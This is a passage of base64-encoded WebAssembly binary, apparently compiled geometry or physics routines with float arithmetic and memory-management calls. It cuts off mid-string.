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IAMqAgAgAkEIaioCACIKkyIGIAJBBGoqAgAiCJSTOAIMIAQgBiAHlCAFIAiUkjgCCCAEQRBqIgIgASAEQQhqQQAQdSACQRBqKAIAIQMgBC0AGCEBIAQqAhQhBSAEKgIQIQYCQAJAAkAgBCgCHCICQQFrDgMAAAECC0EBIQIMAQtBASECQQAhAwsgACACNgIMIAAgAToACCAAQRBqIAM2AgAgACAJIAggBpQgByAFlJKSOAIEIAAgCiAHIAaUIAggBZSTkjgCACAEQTBqJAALmQICAn0DfyAAQdgAaigCACIDRQRAQ///f38PCyAAQdQAaigCACEEIANBAWtB/////wFxIQUCfyADQQFxRQRAQ///f38hASAEDAELIARBEGooAgAgBEEUaigCACIAKAIIQQdqQXhxaiAAKAKcARELACIBQ///f38gAUP//39/XRshASAEQRhqCyEAIAUEQCAEIANBGGxqIQQDQCABIAEgAEEQaigCACAAQRRqKAIAIgMoAghBB2pBeHFqIAMoApwBEQsAIgIgASACXRsgAiACXBsiAiACIABBKGooAgAgAEEsaigCACIDKAIIQQdqQXhxaiADKAKcARELACIBIAEgAl4bIAEgAVwbIQEgBCAAQTBqIgBHDQALCyABC6YCAgN9A38gAEHYAGooAgAiBUUEQEP//39/DwsgAEHUAGooAgAhBCAFQQFrQf////8BcSEGAn8gBUEBcUUEQEP//39/IQIgBAwBC0P//39/Q///f38gBEEQaigCACAEQRRqKAIAIgAoAghBB2pBeHFqIAAoAqABEQsAIgEgAUP//39/XRsgASABXBshAiAEQRhqCyEAIAYEQCAEIAVBGGxqIQYDQCAAQRBqKAIAIABBFGooAgAiBCgCCEEHakF4cWogBCgCoAERCwAhASAAQShqKAIAIABBLGooAgAiBCgCCEEHakF4cWogBCgCoAERCwAiAyADIAEgASACIAEgAl4bIAIgAlwbIgEgASADXRsgASABXBshAiAGIABBMGoiAEcNAAsLIAIL3gEBBH8gAEEIaigCACIBBEAgAUEMbCECIABBBGooAgBBCGohAQNAIAEoAgAiBCgCACEDIAQgA0EBazYCACADQQFGBEAgASgCABCoCAsgAUEMaiEBIAJBDGsiAg0ACwsgACgCAARAIABBBGooAgAQhwEL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